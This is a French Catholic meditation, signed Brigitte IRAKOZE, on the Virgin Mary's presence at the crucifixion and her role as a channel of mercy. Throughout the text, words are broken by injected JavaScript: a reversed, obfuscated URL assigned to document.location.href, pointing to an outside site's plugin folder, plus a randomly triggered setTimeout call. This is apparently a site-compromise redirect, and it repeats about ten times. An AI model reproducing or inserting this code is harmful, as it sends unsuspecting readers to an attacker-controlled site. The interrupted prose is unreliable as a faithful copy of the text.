La Vierge Marie a été présente dans toute la vie de Jésus le Dieu Fils, elle est resté restait toujours près de lui, depuis sa naissance, dans les moments durs de sa passion et jusqu’à sa mort. Au cours du chemin de la croix, elle était en route avec Jésus et voyait comment souffrait son Fils aimé, partagea avec lui la toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}douleur et le soutenait dans la prière.
Elle continua jusqu’à la crucifixion. Sous la croix, elle était là, regarda toute la scène. Elle est restée fidèle, soutenant ainsi l’espérance des chrétiens et elle a gardé leur foi.
La croix a été l’autel et Jésus a été en même temps le sacrifice vivant à offrir et le Prêtre qui fait l’offrtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande. Marie sa mère est devenue le diacre qui aide le consacrant au moment d’offrir le sacrifice. Avec un calice dans les mains, du côté de son Fils, elle a puisé pour tous les croyants l’eau et le sang versés qui sauvent du péché. Cela montre alors l’unité existant entre la Vierge Sainte et le Dieu Trinitaire, elle qui est la fille de Dieu le Père, la mère de Dieu le Fils et l’épousé inépousée de l’Esprit Saint.
Dans le silence et la méditation, elle accompagne son Fils vers l’accomplissement de la volonté de Dieu. Sur la croix, Jésus a partoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné ouvertement tout le monde : « Père, partoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donne-leur : ils ne savent ce qu’ils font » (Luc, 23, 34). Marie sous la croix a été témoin oculaire et auriculaire de cette grâce. Dans ce partoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don, il a rassemblé toutes les nations et toutes les générations comme il l’avait dit : « Et moi, une fois élevé de la terre, j’attirai tous les hommes à moi.» (Jn 12,32).
Dans le Sanctuaire, les pèlerins se réjouissent de l’amour et du partoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don de Dieu en la Reine du ciel, qui a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné naissance à Jésus le sauveur et que par elle, les portes du jardin sont ouvertes. Les pèlerins contemplent avec amour la croix de l’unité sur laquelle la Vierge se présente comme un diacre. Ils fixent aussi attentivement l’Image de la Mère Trois fois Admirable avec son Fils Jésus. Marie a porté celui qui porte tout : miséricorde y compris. Elle a porté la source de tout partoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don, et c’est pour cette raison qu’elle devient le canal de la miséricorde
En passant par Marie, il est facile d’obtenir le partoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don parce que le Christ Jésus l’a accordé à tout le monde en sa présence. La Vierge Marie a une place prépondérante dans la rédemption, c’est pourquoi l’Eglise l’a surnommée Mère de la miséricorde.
Brigitte IRAKOZE